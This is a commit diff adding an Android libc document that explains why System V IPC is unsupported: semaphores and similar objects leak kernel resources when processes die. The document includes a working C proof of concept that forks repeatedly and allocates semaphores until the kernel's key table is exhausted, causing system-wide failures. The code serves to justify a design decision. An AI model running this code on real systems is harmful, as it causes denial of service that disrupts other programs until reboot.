summaryrefslogtreecommitdiffstats
path: root/libc/docs/SYSV-IPC.TXT
diff options
context:
space:
mode:
Diffstat (limited to 'libc/docs/SYSV-IPC.TXT')
-rw-r--r--libc/docs/SYSV-IPC.TXT103
1 files changed, 103 insertions, 0 deletions
diff --git a/libc/docs/SYSV-IPC.TXT b/libc/docs/SYSV-IPC.TXT
new file mode 100644
index 0000000..5a3eef0
--- /dev/null
+++ b/libc/docs/SYSV-IPC.TXT
@@ -0,0 +1,103 @@
+Android does not support System V IPCs, i.e. the facilities provided by the
+following standard Posix headers:
+
+ <sys/sem.h> /* SysV semaphores */
+ <sys/shm.h> /* SysV shared memory segments */
+ <sys/msg.h> /* SysV message queues */
+ <sys/ipc.h> /* General IPC definitions */
+
+The reason for this is due to the fact that, by design, they lead to global
+kernel resource leakage.
+
+For example, there is no way to automatically release a SysV semaphore
+allocated in the kernel when:
+
+- a buggy or malicious process exits
+- a non-buggy and non-malicious process crashes or is explicitely killed.
+
+Killing processes automatically to make room for new ones is an
+important part of Android's application lifecycle implementation. This means
+that, even assuming only non-buggy and non-malicious code, it is very likely
+that over time, the kernel global tables used to implement SysV IPCs will fill
+up.
+
+At that point, strange failures are likely to occur and prevent programs that
+use them to run properly until the next reboot of the system.
+
+And we can't ignore potential malicious applications. As a proof of concept
+here is a simple exploit that you can run on a standard Linux box today:
+
+--------------- cut here ------------------------
+#include <sys/sem.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <errno.h>
+
+#define NUM_SEMAPHORES 32
+#define MAX_FAILS 10
+
+int main(void)
+{
+ int counter = 0;
+ int fails = 0;
+
+ if (counter == IPC_PRIVATE)
+ counter++;
+
+ printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
+
+ for (;;) {
+ int ret = fork();
+ int status;
+
+ if (ret < 0) {
+ perror("fork:");
+ break;
+ }
+ if (ret == 0) {
+ /* in the child */
+ ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
+ if (ret < 0) {
+ return errno;
+ }
+ return 0;
+ }
+ else {
+ /* in the parent */
+ ret = wait(&status);
+ if (ret < 0) {
+ perror("waitpid:");
+ break;
+ }
+ if (status != 0) {
+ status = WEXITSTATUS(status);
+ fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
+ counter, status);
+ if (++fails >= MAX_FAILS)
+ break;
+ }
+ }
+
+ counter++;
+ if ((counter % 1000) == 0) {
+ printf("%d\n", counter);
+ }
+ if (counter == IPC_PRIVATE)
+ counter++;
+ }
+ return 0;
+}
+--------------- cut here ------------------------
+
+If you run it on a typical Linux distribution today, you'll discover that it
+will quickly fill up the kernel's table of unique key_t values, and that
+strange things will happen in some parts of the system, but not all.
+
+(You can use the "ipcs -u" command to get a summary describing the kernel
+ tables and their allocations)
+
+For example, in our experience, anything program launched after that that
+calls strerror() will simply crash. The USB sub-system starts spoutting weird
+errors to the system console, etc...